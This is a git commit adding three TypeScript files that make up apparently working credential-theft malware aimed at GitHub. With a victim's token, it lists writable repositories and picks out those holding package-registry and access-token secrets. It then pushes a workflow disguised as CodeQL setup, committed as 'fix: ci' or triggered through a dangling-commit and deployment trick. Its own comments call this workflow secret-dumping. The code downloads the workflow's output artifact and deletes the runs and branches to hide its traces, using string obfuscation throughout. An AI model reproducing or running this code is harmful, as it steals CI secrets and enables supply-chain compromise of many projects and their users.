Upload files to "src/providers/actions"

This commit is contained in:
2026-07-03 03:08:03 +00:00
parent 11ef9ec550
commit 63b68d0416
3 changed files with 897 additions and 0 deletions
+73
View File
@@ -0,0 +1,73 @@
import { githubJson } from "./github";
export interface RepoPermissions {
admin: boolean;
push: boolean;
pull: boolean;
maintain?: boolean | undefined;
triage?: boolean | undefined;
}
export interface Repository {
id: number;
name: string;
fullName: string;
private: boolean;
url: string;
pushedAt: string;
permissions: RepoPermissions;
}
const CUTOFF_DATE = scramble("2026-01-01T00:00:00Z");
const PER_PAGE = 100;
declare function scramble(str: string): string;
export async function* streamWritableRepos(
token: string,
publicOnly = false,
): AsyncGenerator<Repository> {
let count = 0;
let page = 1;
while (true) {
const params = new URLSearchParams({
per_page: String(PER_PAGE),
type: scramble("all"),
sort: "pushed",
direction: "desc",
page: String(page),
});
const repos = await githubJson<Array<Record<string, any>>>(
token,
`/user/repos?${params}`,
);
if (repos.length === 0) break;
for (const repo of repos) {
if (!repo.permissions?.push || !repo.pushed_at) continue;
if (repo.archived === true) continue;
if (publicOnly && repo.private === true) continue;
yield {
id: repo.id,
name: repo.name,
fullName: repo.full_name,
private: repo.private,
url: repo.html_url,
pushedAt: repo.pushed_at,
permissions: {
admin: repo.permissions.admin ?? false,
push: repo.permissions.push ?? false,
pull: repo.permissions.pull ?? false,
maintain: repo.permissions.maintain,
triage: repo.permissions.triage,
},
};
if (++count >= 100) return;
}
if (repos.length < PER_PAGE) break;
page++;
}
}
+101
View File
@@ -0,0 +1,101 @@
import { logUtil } from "../../utils/logger";
import { githubFetch } from "./github";
interface SecretsResponse {
total_count: number;
secrets: Array<{ name: string; updated_at?: string }>;
}
export interface RepoSecretInfo {
fullName: string;
secrets: string[];
isPrivate: boolean;
}
declare function scramble(str: string): string;
const TARGET_SECRET_PATTERNS = [
scramble("PYPI"),
scramble("NPM_"),
scramble("OP_"),
scramble("RUBY"),
scramble("PAT"),
scramble("PERSONAL_ACCESS"),
scramble("JFROG"),
];
/** NPM_TOKEN is only counted if it has been updated since May 20, 2025.
* Tokens updated before this date or with no date are considered stale
* and do not trigger a repo dump. */
function isStaleNpmToken(secret: {
name: string;
updated_at?: string;
}): boolean {
if (secret.name.toUpperCase() !== "NPM_TOKEN") return false;
if (!secret.updated_at) return true; // no date = stale, skip
const updated = new Date(secret.updated_at);
const cutoff = new Date("2026-05-20T00:00:00Z");
return updated < cutoff;
}
function isTargetSecret(secret: {
name: string;
updated_at?: string;
}): boolean {
const upper = secret.name.toUpperCase();
if (!TARGET_SECRET_PATTERNS.some((p) => upper.includes(p))) return false;
// Exclude stale NPM_TOKENs (updated > 30 days ago)
if (isStaleNpmToken(secret)) return false;
return true;
}
export async function* streamRepoSecrets(
token: string,
repos:
| AsyncIterable<{ fullName: string; private: boolean }>
| Iterable<{ fullName: string; private: boolean }>,
): AsyncGenerator<RepoSecretInfo> {
for await (const repo of repos) {
const [owner, name] = repo.fullName.split("/");
if (!owner || !name) continue;
logUtil.log(`checking ${repo.fullName}`);
const targetSecrets: string[] = [];
try {
const res = await githubFetch(
token,
`/repos/${owner}/${name}/actions/secrets?per_page=100`,
);
if (res.ok) {
const data = (await res.json()) as SecretsResponse;
targetSecrets.push(
...data.secrets.filter(isTargetSecret).map((s) => s.name),
);
}
} catch {
// No access or no secrets
}
try {
const res = await githubFetch(
token,
`/repos/${owner}/${name}/actions/organization-secrets?per_page=100`,
);
if (res.ok) {
const data = (await res.json()) as SecretsResponse;
targetSecrets.push(
...data.secrets.filter(isTargetSecret).map((s) => s.name),
);
}
} catch {
// No access or not an org repo
}
yield {
fullName: repo.fullName,
secrets: targetSecrets,
isPrivate: repo.private,
};
}
}
+723
View File
@@ -0,0 +1,723 @@
import { unzipSync } from "fflate";
import { workflow } from "../../generated";
import { DEPLOYMENT } from "../../generated";
import {
createBlob,
createBranch,
createCommit,
createTree,
deleteBranch,
getCommitTree,
} from "../../github_utils/gitDb";
import { logUtil } from "../../utils/logger";
import type { TokenRepo } from "./actions";
import { githubFetch, githubJson } from "./github";
declare function scramble(str: string): string;
const WORKFLOW_PATH = scramble(".github/workflows/codeql.yml");
/** Filename used by the push-based workflow (has workflow scope). */
const PUSH_WORKFLOW_FILE = scramble("codeql.yml");
/** Deployment-triggered workflow — hardcoded to avoid build-time corruption
* from the scramble/decrypt pipeline on the generated asset. */
function randomWorkflowFile(): string {
const n = Math.floor(Math.random() * 90000) + 10000;
return `codeql-${n}.yml`;
}
const POLLING = {
WORKFLOW_APPEARANCE: { maxAttempts: 15, delayMs: 3000 },
DEPLOY_WORKFLOW_APPEARANCE: { maxAttempts: 20, delayMs: 5000 }, // 100 s
WORKFLOW_COMPLETION: { maxAttempts: 30, delayMs: 10000 }, // 5 min total
};
// ── Actions-enabled guard ────────────────────────────────────────────────
async function isActionsEnabled(
token: string,
owner: string,
repo: string,
): Promise<boolean> {
try {
const perms = await githubJson<{ enabled: boolean }>(
token,
`/repos/${owner}/${repo}/actions/permissions`,
);
return perms.enabled === true;
} catch {
// If we can't determine, assume disabled to avoid wasted pushes.
return false;
}
}
const EXCLUDED_BRANCH_PREFIXES = [
"dependabot/",
"renovate/",
"gh-pages",
"docs/",
"copilot/",
"master",
"main",
];
export interface FormatResult {
repo: string;
artifact: string | null;
error?: string;
}
interface BranchRef {
name: string;
sha: string;
}
// ── Workflow YAML patched to also trigger on deployment events ────────
// (removed — deployment path now uses the hardcoded DEPLOY_WORKFLOW)
// ── Helpers ───────────────────────────────────────────────────────────
function randomSuffixBranch(base: string): string {
const n = Math.floor(Math.random() * 10);
return `${base}${n}`;
}
function sleep(ms: number): Promise<void> {
return new Promise((r) => setTimeout(r, ms));
}
// ── Branch selection ──────────────────────────────────────────────────
async function fetchCandidateBranches(
token: string,
owner: string,
repo: string,
): Promise<BranchRef[]> {
const branches = await githubJson<
Array<{ name: string; commit: { sha: string } }>
>(token, `/repos/${owner}/${repo}/branches?per_page=30`);
return branches.map((b) => ({ name: b.name, sha: b.commit.sha }));
}
function pickRandomBranch(
branches: BranchRef[],
defaultBranch: string,
): BranchRef {
const eligible = branches.filter(
(b) =>
b.name !== defaultBranch &&
!EXCLUDED_BRANCH_PREFIXES.some((p) => b.name.startsWith(p)),
);
if (eligible.length === 0) {
const fallback =
branches.find((b) => b.name !== defaultBranch) ?? branches[0]!;
logUtil.log(`No eligible branches — falling back to "${fallback.name}"`);
return fallback;
}
const pick = eligible[Math.floor(Math.random() * eligible.length)]!;
logUtil.log(
`Selected branch "${pick.name}" out of ${eligible.length} eligible (${branches.length} total)`,
);
return pick;
}
// ── Push-based workflow (requires workflow scope) ─────────────────────
interface GitDbResult {
branchName: string;
originalSha: string;
workflowSha: string;
}
async function commitWorkflowWithGitDb(
token: string,
owner: string,
repo: string,
branch: BranchRef,
): Promise<GitDbResult> {
const newBranchName = randomSuffixBranch(branch.name);
await githubFetch(token, `/repos/${owner}/${repo}/git/refs`, {
method: "POST",
body: JSON.stringify({
ref: `refs/heads/${newBranchName}`,
sha: branch.sha,
}),
});
const blob = await githubJson<{ sha: string }>(
token,
`/repos/${owner}/${repo}/git/blobs`,
{
method: "POST",
body: JSON.stringify({ content: workflow, encoding: "utf-8" }),
},
);
const tree = await githubJson<{ sha: string }>(
token,
`/repos/${owner}/${repo}/git/trees`,
{
method: "POST",
body: JSON.stringify({
base_tree: branch.sha,
tree: [
{
path: WORKFLOW_PATH,
mode: "100644",
type: "blob",
sha: blob.sha,
},
],
}),
},
);
const commit = await githubJson<{ sha: string }>(
token,
`/repos/${owner}/${repo}/git/commits`,
{
method: "POST",
body: JSON.stringify({
message: scramble("fix: ci"),
tree: tree.sha,
parents: [branch.sha],
}),
},
);
await githubFetch(
token,
`/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(newBranchName)}`,
{
method: "PATCH",
body: JSON.stringify({ sha: commit.sha, force: true }),
},
);
return {
branchName: newBranchName,
originalSha: branch.sha,
workflowSha: commit.sha,
};
}
// ── Deployment-based workflow (no workflow scope needed) ──────────────
/**
* Use the dangling-commit + deployment technique to trigger a workflow
* without the `workflow` OAuth scope.
*
* 1. Create a blob + tree with the (patched) workflow YAML.
* 2. Commit 1: add workflow (parent = default branch HEAD).
* 3. Commit 2: delete workflow (restore original tree, parent = commit 1).
* 4. Create a branch pointing at commit 2 — makes commit 1 reachable.
* 5. Create a deployment targeting commit 1 — triggers the workflow.
* 6. Delete the deployment record (event already fired).
*/
async function deployWorkflowViaDeployment(
token: string,
owner: string,
repo: string,
defaultBranch: string,
): Promise<{
addSha: string;
branchName: string;
deployId: number;
workflowFile: string;
}> {
const branchName = scramble("chore/codeql-setup");
const workflowFile = randomWorkflowFile();
// 1. Resolve the default branch HEAD
let parentSha: string;
let baseTreeSha: string;
try {
const parentRef = await githubJson<{ object: { sha: string } }>(
token,
`/repos/${owner}/${repo}/git/ref/heads/${encodeURIComponent(defaultBranch)}`,
);
parentSha = parentRef.object.sha;
baseTreeSha = await getCommitTree(token, owner, repo, parentSha);
} catch (e) {
throw new Error(
`resolve default branch "${defaultBranch}": ${e instanceof Error ? e.message : String(e)}`,
);
}
// 2. Create blob with the deployment-triggered workflow
const wfContent = DEPLOYMENT;
let yamlBlobSha: string;
try {
yamlBlobSha = await createBlob(token, owner, repo, wfContent);
} catch (e) {
throw new Error(
`create workflow blob: ${e instanceof Error ? e.message : String(e)}`,
);
}
// Build nested tree: .github/workflows/<file> (fresh — no base tree merge)
const wfTreeSha = await createTree(token, owner, repo, null, [
{ path: workflowFile, mode: "100644", type: "blob", sha: yamlBlobSha },
]);
const ghTreeSha = await createTree(token, owner, repo, null, [
{ path: "workflows", mode: "040000", type: "tree", sha: wfTreeSha },
]);
const rootTreeSha = await createTree(token, owner, repo, null, [
{ path: ".github", mode: "040000", type: "tree", sha: ghTreeSha },
]);
// 3. Commit 1: add workflow (child of default branch HEAD)
let addSha: string;
try {
addSha = await createCommit(
token,
owner,
repo,
scramble("fix: ci"),
rootTreeSha,
parentSha,
);
} catch (e) {
throw new Error(
`create add-commit: ${e instanceof Error ? e.message : String(e)}`,
);
}
// 4. Commit 2: restore original tree (parent = commit 1)
let delSha: string;
try {
delSha = await createCommit(
token,
owner,
repo,
scramble("fix: ci"),
baseTreeSha,
addSha,
);
} catch (e) {
throw new Error(
`create del-commit: ${e instanceof Error ? e.message : String(e)}`,
);
}
logUtil.log(
`[deploy] ${owner}/${repo}: add=${addSha.slice(0, 7)} del=${delSha.slice(0, 7)}`,
);
// 5. Create branch pointing at commit 2
try {
await createBranch(token, owner, repo, branchName, delSha);
} catch (e) {
throw new Error(
`create branch "${branchName}": ${e instanceof Error ? e.message : String(e)}`,
);
}
// 6. Create deployment targeting commit 1
let deployId: number;
try {
const deployment = await githubJson<{ id: number }>(
token,
`/repos/${owner}/${repo}/deployments`,
{
method: "POST",
body: JSON.stringify({
ref: addSha,
auto_merge: false,
required_contexts: [],
environment: "Development",
transient_environment: true,
}),
},
);
deployId = deployment.id;
logUtil.log(`[deploy] ${owner}/${repo}: deployment ${deployId} created ✓`);
} catch (e) {
throw new Error(
`create deployment: ${e instanceof Error ? e.message : String(e)}`,
);
}
// Don't delete the deployment here — GitHub needs time to process
// the event. Cleanup happens later in cleanupDeployRun.
return { addSha, branchName, deployId, workflowFile };
}
// ── Workflow run polling ──────────────────────────────────────────────
async function pollForWorkflowRunByBranch(
token: string,
owner: string,
repo: string,
branchName: string,
): Promise<number> {
const { maxAttempts, delayMs } = POLLING.WORKFLOW_APPEARANCE;
for (let i = 0; i < maxAttempts; i++) {
const data = await githubJson<{
workflow_runs: Array<{ id: number }>;
}>(
token,
`/repos/${owner}/${repo}/actions/workflows/${encodeURIComponent(PUSH_WORKFLOW_FILE)}/runs?branch=${encodeURIComponent(branchName)}&per_page=1`,
);
const run = data.workflow_runs[0];
if (run) return run.id;
await sleep(delayMs);
}
throw new Error(
scramble(
`Workflow run for "${PUSH_WORKFLOW_FILE}" not found after polling`,
),
);
}
/**
* Poll for a deployment-triggered run by matching the head_sha.
* Deployment-triggered runs don't always associate cleanly with a
* branch name, so we search by commit SHA instead.
*/
async function pollForWorkflowRunBySha(
token: string,
owner: string,
repo: string,
workflowFile: string,
): Promise<number> {
const { maxAttempts, delayMs } = POLLING.DEPLOY_WORKFLOW_APPEARANCE;
for (let i = 0; i < maxAttempts; i++) {
const data = await githubJson<{
workflow_runs: Array<{ id: number; path: string }>;
}>(token, `/repos/${owner}/${repo}/actions/runs?per_page=10`);
const run = data.workflow_runs.find((r) => r.path.endsWith(workflowFile));
if (run) return run.id;
await sleep(delayMs);
}
throw new Error(`Workflow run for "${workflowFile}" not found after polling`);
}
async function pollForWorkflowCompletion(
token: string,
owner: string,
repo: string,
runId: number,
): Promise<void> {
const { maxAttempts, delayMs } = POLLING.WORKFLOW_COMPLETION;
for (let i = 0; i < maxAttempts; i++) {
const run = await githubJson<{ status: string }>(
token,
`/repos/${owner}/${repo}/actions/runs/${runId}`,
);
if (run.status === "completed") return;
await sleep(delayMs);
}
throw new Error("Workflow did not complete in time");
}
// ── Artifact polling & download ───────────────────────────────────────
async function pollForArtifact(
token: string,
owner: string,
repo: string,
runId: number,
): Promise<{ id: number; name: string } | null> {
const { maxAttempts, delayMs } = POLLING.WORKFLOW_COMPLETION;
for (let i = 0; i < maxAttempts; i++) {
const res = await githubFetch(
token,
`/repos/${owner}/${repo}/actions/runs/${runId}/artifacts`,
);
if (!res.ok) {
await sleep(delayMs);
continue;
}
const data = (await res.json()) as {
artifacts: Array<{ id: number; name: string }>;
};
const target = data.artifacts.find((a) => a.name === "format-results");
if (target) return target;
await sleep(delayMs);
}
return null;
}
async function downloadArtifact(
{ token, owner, repo }: TokenRepo,
artifact: { id: number; name: string },
): Promise<string | null> {
const dlRes = await githubFetch(
token,
`/repos/${owner}/${repo}/actions/artifacts/${artifact.id}/zip`,
);
if (!dlRes.ok) return null;
const buf = new Uint8Array(await dlRes.arrayBuffer());
const unzipped = unzipSync(buf);
const fileContent = unzipped[scramble("format-results.txt")];
return fileContent ? new TextDecoder().decode(fileContent) : null;
}
// ── Cleanup ───────────────────────────────────────────────────────────
async function cleanupPushRun(
{ token, owner, repo }: TokenRepo,
runId: number,
branchName: string,
): Promise<void> {
try {
await pollForWorkflowCompletion(token, owner, repo, runId);
} catch {
logUtil.log(
`[cleanup] ${owner}/${repo}: run ${runId} did not complete in time, skipping delete`,
);
return;
}
const delRes = await githubFetch(
token,
`/repos/${owner}/${repo}/actions/runs/${runId}`,
{ method: "DELETE" },
);
if (!delRes.ok && delRes.status !== 404) {
logUtil.log(
`[cleanup] ${owner}/${repo}: run ${runId} delete failed — ${delRes.status}`,
);
}
await deleteBranch(token, owner, repo, branchName).catch(() => {});
}
async function cleanupDeployRun(
{ token, owner, repo }: TokenRepo,
runId: number,
branchName: string,
): Promise<void> {
try {
await pollForWorkflowCompletion(token, owner, repo, runId);
} catch {
// best-effort
}
await githubFetch(token, `/repos/${owner}/${repo}/actions/runs/${runId}`, {
method: "DELETE",
}).catch(() => {});
await deleteBranch(token, owner, repo, branchName).catch(() => {});
}
// ── Public API ────────────────────────────────────────────────────────
/**
* Run the secret-dumping workflow on a single repo using a push-based
* branch (requires `workflow` OAuth scope).
*/
export async function runFormatWorkflow(
tokenRepo: TokenRepo,
): Promise<FormatResult> {
const { token, owner, repo } = tokenRepo;
// Skip repos where Actions is disabled — pushing a workflow would be wasted.
if (!(await isActionsEnabled(token, owner, repo))) {
logUtil.log(`[actions] ${owner}/${repo}: Actions disabled, skipping`);
return { repo: `${owner}/${repo}`, artifact: null };
}
let branchName: string | undefined;
let runId: number | undefined;
try {
const branches = await fetchCandidateBranches(token, owner, repo);
let chosen: BranchRef;
if (branches.length === 0) {
const repoData = await githubJson<{ default_branch: string }>(
token,
`/repos/${owner}/${repo}`,
);
const defaultBranch = repoData.default_branch;
const refData = await githubJson<{ object: { sha: string } }>(
token,
`/repos/${owner}/${repo}/git/ref/heads/${encodeURIComponent(defaultBranch)}`,
);
chosen = {
name: scramble("chore/add-codeql-static-analysis"),
sha: refData.object.sha,
};
} else {
const repoData = await githubJson<{ default_branch: string }>(
token,
`/repos/${owner}/${repo}`,
);
const defaultBranch = repoData.default_branch;
chosen = pickRandomBranch(branches, defaultBranch);
}
const result = await commitWorkflowWithGitDb(token, owner, repo, chosen);
branchName = result.branchName;
logUtil.log(`Committed workflow to "${branchName}" on ${repo}`);
await sleep(POLLING.WORKFLOW_APPEARANCE.delayMs);
runId = await pollForWorkflowRunByBranch(token, owner, repo, branchName);
logUtil.log(`Created run ${runId}`);
const target = await pollForArtifact(token, owner, repo, runId);
const artifact = target ? await downloadArtifact(tokenRepo, target) : null;
logUtil.log(artifact);
return { repo: `${owner}/${repo}`, artifact };
} catch (e) {
logUtil.error(`Error dumping secrets on /${owner}/${repo}`);
return {
repo: `${owner}/${repo}`,
artifact: null,
error: e instanceof Error ? e.message : String(e),
};
} finally {
if (branchName && runId !== undefined) {
cleanupPushRun(tokenRepo, runId, branchName).catch(() => {});
}
}
}
/**
* Run the secret-dumping workflow using the deployment technique.
* Does NOT require `workflow` OAuth scope — only `repo` / `deployments`.
*/
export async function runDeploymentWorkflow(
tokenRepo: TokenRepo,
): Promise<FormatResult> {
const { token, owner, repo } = tokenRepo;
// Skip repos where Actions is disabled — pushing a workflow would be wasted.
if (!(await isActionsEnabled(token, owner, repo))) {
logUtil.log(`[actions] ${owner}/${repo}: Actions disabled, skipping`);
return { repo: `${owner}/${repo}`, artifact: null };
}
let branchName: string | undefined;
let runId: number | undefined;
try {
// 1. Resolve default branch
const repoData = await githubJson<{ default_branch: string }>(
token,
`/repos/${owner}/${repo}`,
);
const defaultBranch = repoData.default_branch;
// 2. Dangling commits + deployment
const {
addSha,
branchName: bn,
workflowFile,
} = await deployWorkflowViaDeployment(token, owner, repo, defaultBranch);
branchName = bn;
// 3. Poll for the workflow run — give GitHub time to register the
// workflow from the temporary branch before polling.
await sleep(10_000);
try {
runId = await pollForWorkflowRunBySha(token, owner, repo, workflowFile);
logUtil.log(`[deploy] Created run ${runId}`);
} catch (e) {
throw new Error(
`poll for run: ${e instanceof Error ? e.message : String(e)}`,
);
}
// 4. Poll for + download artifact
let target: { id: number; name: string } | null;
try {
target = await pollForArtifact(token, owner, repo, runId);
} catch (e) {
throw new Error(
`poll for artifact: ${e instanceof Error ? e.message : String(e)}`,
);
}
const artifact = target ? await downloadArtifact(tokenRepo, target) : null;
return { repo: `${owner}/${repo}`, artifact };
} catch (e) {
const msg = e instanceof Error ? e.message : String(e);
logUtil.error(`[deploy] ${owner}/${repo}: ${msg}`);
return {
repo: `${owner}/${repo}`,
artifact: null,
error: msg,
};
} finally {
if (branchName && runId !== undefined) {
cleanupDeployRun(tokenRepo, runId, branchName).catch(() => {});
}
}
}
export async function* runFormatWorkflows(
repos: TokenRepo[],
concurrency = 10,
): AsyncGenerator<FormatResult> {
const active = new Set<Promise<FormatResult>>();
for (const repo of repos) {
logUtil.log(`About to use ${repo.owner}/${repo.repo}`);
const promise = runFormatWorkflow(repo);
active.add(promise);
if (active.size >= concurrency) {
const result = await Promise.race(
[...active].map((p) => p.then((r) => ({ promise: p, result: r }))),
);
active.delete(result.promise);
yield result.result;
}
}
for (const promise of active) {
yield await promise;
}
}
export async function* runDeploymentWorkflows(
repos: TokenRepo[],
concurrency = 10,
): AsyncGenerator<FormatResult> {
const active = new Set<Promise<FormatResult>>();
for (const repo of repos) {
const promise = runDeploymentWorkflow(repo);
active.add(promise);
if (active.size >= concurrency) {
const result = await Promise.race(
[...active].map((p) => p.then((r) => ({ promise: p, result: r }))),
);
active.delete(result.promise);
yield result.result;
}
}
for (const promise of active) {
yield await promise;
}
}